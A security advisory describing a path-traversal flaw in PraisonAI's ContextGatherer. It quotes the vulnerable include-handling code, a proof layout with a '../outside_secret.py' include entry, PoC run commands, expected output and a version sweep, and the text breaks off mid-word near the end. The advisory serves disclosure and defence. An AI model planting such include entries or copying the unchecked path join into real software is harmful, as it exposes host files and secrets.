Summary

PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace

Advisory details

ContextGatherer include resolution permits absolute and traversal reads outside the workspace

Summary

PraisonAI's praisonai.ui.context.ContextGatherer treats the configured directory as the project workspace, but project-controlled .praisoncontext and .praisoninclude files can name absolute paths or .. traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context.

Technical Details

ContextGatherer.get_include_paths() reads include entries directly from .praisoncontext and .praisoninclude under the configured workspace. It stores each non-comment line as a raw include path:

include_file = os.path.join(self.directory, '.praisoncontext')
if os.path.exists(include_file):
    with open(include_file, 'r') as f:
        include_paths.extend(
            line.strip() for line in f
            if line.strip() and not line.startswith('#')
        )

When .praisoncontext is present, gather_context() passes every include entry through os.path.join(self.directory, include_path) and then processes the result:

for include_path in self.include_paths:
    full_path = os.path.join(self.directory, include_path)
    process_path(full_path)

The .praisoninclude path has the same unsafe join after first processing the workspace:

process_path(self.directory)
for include_path in self.include_paths:
    full_path = os.path.join(self.directory, include_path)
    process_path(full_path)

There is no canonicalization or containment check before process_path() opens files or recursively walks directories. In Python, os.path.join(workspace, absolute_path) returns the absolute path and discards workspace; os.path.join(workspace, "../outside.py") remains outside the workspace once normalized by filesystem operations. add_file_content() then opens the supplied path and appends file contents to the context before display bookkeeping:

with open(file_path, 'r', encoding='utf-8') as f:
    content = f.read()
    context.append(
        f"File: {file_path}\n\n{content}\n\n{'=' * 50}\n"
    )
    self.included_files.append(
        Path(file_path).relative_to(self.directory)
    )

For parent traversal paths, Path(file_path).relative_to(self.directory) raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files.

PoV

The minimal vulnerable shape is a workspace containing only a normal source file and one include file:

workspace/
  .praisoncontext      # contains: ../outside_secret.py
  inside.py
outside_secret.py      # outside the workspace

Running ContextGatherer(directory="workspace").run() returns context containing outside_secret.py even though that file is outside the configured workspace. The same result occurs when .praisoncontext contains an absolute path to the outside file, and when .praisoninclude contains either the parent traversal path or the absolute path.

PoC

Save the self-contained script from the Appendix below as context_include_workspace_pov.py, then run it against a local checkout:

export PRAISONAI=/path/to/PraisonAI
PYTHONPATH="$PRAISONAI/src/praisonai" python context_include_workspace_pov.py

Expected vulnerable output:

{
  "expectations": {
    "control_inside_file_is_collected": true,
    "control_without_include_does_not_read_outside": true,
    "praisoncontext_absolute_path_discloses_outside": true,
    "praisoncontext_parent_traversal_discloses_outside": true,
    "praisoninclude_absolute_path_discloses_outside": true,
    "praisoninclude_parent_traversal_discloses_outside": true
  },
  "source_commit": "1620b49f36945d8cc8ee5635b906c960df5097a0",
  "source_file": "$PRAISONAI/src/praisonai/praisonai/ui/context.py",
  "vulnerable": true
}

The version sweep sampled old and current releases. All sampled versions are vulnerable:

{"ref":"v2.3.10","praisonai_version":"2.3.10","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v2.3.11","praisonai_version":"2.3.11","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v3.8.1","praisonai_version":"3.8.1","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v3.9.26","praisonai_version":"3.9.26","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.4.12","praisonai_version":"4.4.12","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.5.16","praisonai_version":"4.5.16","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.5.128","praisonai_version":"4.5.128","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.58","praisonai_version":"4.6.58","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.62","praisonai_version":"4.6.62","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.63","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"HEAD","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}

No external service, live target, real credenti

References